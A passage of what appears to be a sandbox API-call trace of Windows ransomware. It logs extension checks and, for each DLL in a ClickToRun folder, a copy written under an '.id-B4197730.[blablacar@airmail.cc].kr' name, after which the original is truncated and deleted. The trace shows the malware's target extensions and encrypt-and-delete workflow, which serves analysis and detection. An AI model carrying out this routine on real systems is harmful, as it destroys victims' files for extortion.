(lpString=".jpg") returned 4 [0106.913] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0106.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0106.913] lstrlenW (lpString=".doc") returned 4 [0106.913] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.913] lstrlenW (lpString=".docx") returned 5 [0106.913] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.913] lstrlenW (lpString=".pdf") returned 4 [0106.913] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.913] lstrlenW (lpString=".xls") returned 4 [0106.913] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.913] lstrlenW (lpString=".xlsx") returned 5 [0106.913] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.913] lstrlenW (lpString=".ppt") returned 4 [0106.913] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0106.913] lstrlenW (lpString=".zip") returned 4 [0106.913] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.913] lstrlenW (lpString=".rar") returned 4 [0106.913] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.913] lstrlenW (lpString=".bz2") returned 4 [0106.914] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.914] lstrlenW (lpString=".7z") returned 3 [0106.914] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0106.914] lstrlenW (lpString=".dbf") returned 4 [0106.914] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0106.914] lstrlenW (lpString=".1cd") returned 4 [0106.914] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0106.914] lstrlenW (lpString=".jpg") returned 4 [0106.914] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.914] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.914] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0106.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0106.998] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=27840) returned 1 [0106.998] CloseHandle (hObject=0x38c) returned 1 [0106.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0106.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0106.998] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.998] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0106.999] GetLastError () returned 0x0 [0106.999] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x6cc0, lpOverlapped=0x0) returned 1 [0107.001] WriteFile (in: hFile=0x398, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x6cd0, lpOverlapped=0x0) returned 1 [0107.003] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.003] WriteFile (in: hFile=0x398, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x110, lpOverlapped=0x0) returned 1 [0107.003] SetEndOfFile (hFile=0x398) returned 1 [0107.003] CloseHandle (hObject=0x398) returned 1 [0107.005] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.005] SetEndOfFile (hFile=0x38c) returned 1 [0107.006] CloseHandle (hObject=0x38c) returned 1 [0107.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0107.007] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0107.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0107.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0107.007] lstrlenW (lpString=".doc") returned 4 [0107.007] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.007] lstrlenW (lpString=".docx") returned 5 [0107.007] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.008] lstrlenW (lpString=".pdf") returned 4 [0107.008] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.008] lstrlenW (lpString=".xls") returned 4 [0107.008] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.008] lstrlenW (lpString=".xlsx") returned 5 [0107.008] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.008] lstrlenW (lpString=".ppt") returned 4 [0107.008] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0107.008] lstrlenW (lpString=".zip") returned 4 [0107.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.008] lstrlenW (lpString=".rar") returned 4 [0107.008] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.008] lstrlenW (lpString=".bz2") returned 4 [0107.008] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.008] lstrlenW (lpString=".7z") returned 3 [0107.008] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0107.008] lstrlenW (lpString=".dbf") returned 4 [0107.008] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0107.008] lstrlenW (lpString=".1cd") returned 4 [0107.008] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0107.009] lstrlenW (lpString=".jpg") returned 4 [0107.009] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0107.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0107.009] lstrlenW (lpString=".doc") returned 4 [0107.009] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.009] lstrlenW (lpString=".docx") returned 5 [0107.009] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.009] lstrlenW (lpString=".pdf") returned 4 [0107.009] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.009] lstrlenW (lpString=".xls") returned 4 [0107.009] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.009] lstrlenW (lpString=".xlsx") returned 5 [0107.009] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.009] lstrlenW (lpString=".ppt") returned 4 [0107.009] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0107.009] lstrlenW (lpString=".zip") returned 4 [0107.009] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.009] lstrlenW (lpString=".rar") returned 4 [0107.009] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.009] lstrlenW (lpString=".bz2") returned 4 [0107.009] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.010] lstrlenW (lpString=".7z") returned 3 [0107.010] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0107.010] lstrlenW (lpString=".dbf") returned 4 [0107.010] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0107.010] lstrlenW (lpString=".1cd") returned 4 [0107.010] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0107.010] lstrlenW (lpString=".jpg") returned 4 [0107.010] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.010] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.010] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33 [0107.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.011] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=19648) returned 1 [0107.011] CloseHandle (hObject=0x38c) returned 1 [0107.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0107.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.011] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.011] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0107.012] GetLastError () returned 0x0 [0107.012] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0107.016] WriteFile (in: hFile=0x398, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0107.017] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.017] WriteFile (in: hFile=0x398, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x116, lpOverlapped=0x0) returned 1 [0107.017] SetEndOfFile (hFile=0x398) returned 1 [0107.018] CloseHandle (hObject=0x398) returned 1 [0107.019] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.019] SetEndOfFile (hFile=0x38c) returned 1 [0107.020] CloseHandle (hObject=0x38c) returned 1 [0107.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0107.021] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0107.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0107.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0107.021] lstrlenW (lpString=".doc") returned 4 [0107.021] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.021] lstrlenW (lpString=".docx") returned 5 [0107.021] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.021] lstrlenW (lpString=".pdf") returned 4 [0107.022] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.022] lstrlenW (lpString=".xls") returned 4 [0107.022] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.022] lstrlenW (lpString=".xlsx") returned 5 [0107.022] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.022] lstrlenW (lpString=".ppt") returned 4 [0107.022] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0107.022] lstrlenW (lpString=".zip") returned 4 [0107.022] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.022] lstrlenW (lpString=".rar") returned 4 [0107.022] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.022] lstrlenW (lpString=".bz2") returned 4 [0107.022] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.022] lstrlenW (lpString=".7z") returned 3 [0107.022] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0107.022] lstrlenW (lpString=".dbf") returned 4 [0107.022] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0107.022] lstrlenW (lpString=".1cd") returned 4 [0107.022] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0107.023] lstrlenW (lpString=".jpg") returned 4 [0107.023] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0107.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0107.023] lstrlenW (lpString=".doc") returned 4 [0107.023] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.023] lstrlenW (lpString=".docx") returned 5 [0107.023] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.023] lstrlenW (lpString=".pdf") returned 4 [0107.023] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.023] lstrlenW (lpString=".xls") returned 4 [0107.023] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.023] lstrlenW (lpString=".xlsx") returned 5 [0107.023] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.023] lstrlenW (lpString=".ppt") returned 4 [0107.023] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0107.023] lstrlenW (lpString=".zip") returned 4 [0107.023] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.023] lstrlenW (lpString=".rar") returned 4 [0107.023] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.023] lstrlenW (lpString=".bz2") returned 4 [0107.024] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.024] lstrlenW (lpString=".7z") returned 3 [0107.024] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0107.024] lstrlenW (lpString=".dbf") returned 4 [0107.024] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0107.024] lstrlenW (lpString=".1cd") returned 4 [0107.024] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0107.024] lstrlenW (lpString=".jpg") returned 4 [0107.024] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.024] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.024] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33 [0107.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.025] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=23232) returned 1 [0107.025] CloseHandle (hObject=0x38c) returned 1 [0107.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0107.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.026] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.026] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0107.026] GetLastError () returned 0x0 [0107.026] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x5ac0, lpOverlapped=0x0) returned 1 [0107.029] WriteFile (in: hFile=0x398, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x5ad0, lpOverlapped=0x0) returned 1 [0107.030] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.031] WriteFile (in: hFile=0x398, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x116, lpOverlapped=0x0) returned 1 [0107.031] SetEndOfFile (hFile=0x398) returned 1 [0107.031] CloseHandle (hObject=0x398) returned 1 [0107.033] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.033] SetEndOfFile (hFile=0x38c) returned 1 [0107.034] CloseHandle (hObject=0x38c) returned 1 [0107.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0107.034] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0107.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0107.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0107.035] lstrlenW (lpString=".doc") returned 4 [0107.035] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.035] lstrlenW (lpString=".docx") returned 5 [0107.035] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.035] lstrlenW (lpString=".pdf") returned 4 [0107.035] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.035] lstrlenW (lpString=".xls") returned 4 [0107.035] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.035] lstrlenW (lpString=".xlsx") returned 5 [0107.035] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.035] lstrlenW (lpString=".ppt") returned 4 [0107.035] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0107.035] lstrlenW (lpString=".zip") returned 4 [0107.035] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.035] lstrlenW (lpString=".rar") returned 4 [0107.035] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.035] lstrlenW (lpString=".bz2") returned 4 [0107.036] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.036] lstrlenW (lpString=".7z") returned 3 [0107.036] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.036] lstrlenW (lpString="C:\\Program Files\\Common 